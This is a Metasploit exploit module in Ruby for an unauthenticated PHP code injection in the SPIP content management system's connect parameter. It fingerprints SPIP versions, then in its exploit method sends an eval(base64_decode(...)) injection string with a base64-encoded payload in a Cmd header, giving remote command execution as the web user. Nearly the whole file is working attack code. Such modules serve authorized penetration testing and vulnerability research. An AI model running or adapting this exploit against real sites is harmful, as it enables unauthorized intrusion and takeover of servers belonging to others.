SPIP Connect Parameter PHP Injection

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SPIP connect Parameter PHP Injection',
			'Description'    => %q{
				This module exploits a PHP code injection in SPIP. The vulnerability exists in the
				connect parameter and allows an unauthenticated user to execute arbitrary commands
				with web user privileges. Branchs 2.0, 2.1 and 3 are concerned. Vulnerable versions
				are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against branch 2.0 and
				has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu
				and Fedora linux distributions.
			},
			'Author'         =>
				[
					'Arnaud Pachot',   #Initial discovery
					'Frederic Cikala', # PoC
					'Davy Douhine'     # PoC and MSF module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'OSVDB', '83543' ],
					[ 'BID', '54292' ],
					[ 'URL', 'http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la' ]
				],
			'Privileged'     => false,
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					[ 'Automatic', { } ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 04 2012'))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']),
			], self.class)
	end

	def check
		version = nil
		uri = normalize_uri(target_uri.path, "spip.php")

		res = send_request_cgi({ 'uri' => "#{uri}" })

		if res and res.code == 200 and res.body =~ /<meta name="generator" content="SPIP (.*) \[/
			version = $1
		end

		if version.nil? and res.code == 200 and res.headers["Composed-By"] =~ /SPIP (.*) @/
			version = $1
		end

		if version.nil?
			return Exploit::CheckCode::Unknown
		end

		vprint_status("SPIP Version detected: #{version}")

		if version =~ /^2\.0/ and version < "2.0.21"
			return Exploit::CheckCode::Vulnerable
		elsif version =~ /^2\.1/ and version < "2.1.16"
			return Exploit::CheckCode::Appears
		elsif version =~ /^3\.0/ and version < "3.0.3"
			return Exploit::CheckCode::Appears
		end

		return Exploit::CheckCode::Safe

	end

	def exploit
		uri = normalize_uri(target_uri.path, 'spip.php')
		print_status("#{rhost}:#{rport} - Attempting to exploit...")
		res = send_request_cgi(
			{
				'uri'    => uri,
				'method' => 'POST',
				'vars_post' => {
					'connect' => "?><? eval(base64_decode($_SERVER[HTTP_CMD])); ?>",
				},
				'headers' => {
					'Cmd' => Rex::Text.encode_base64(payload.encoded)
				}
			})
	end

end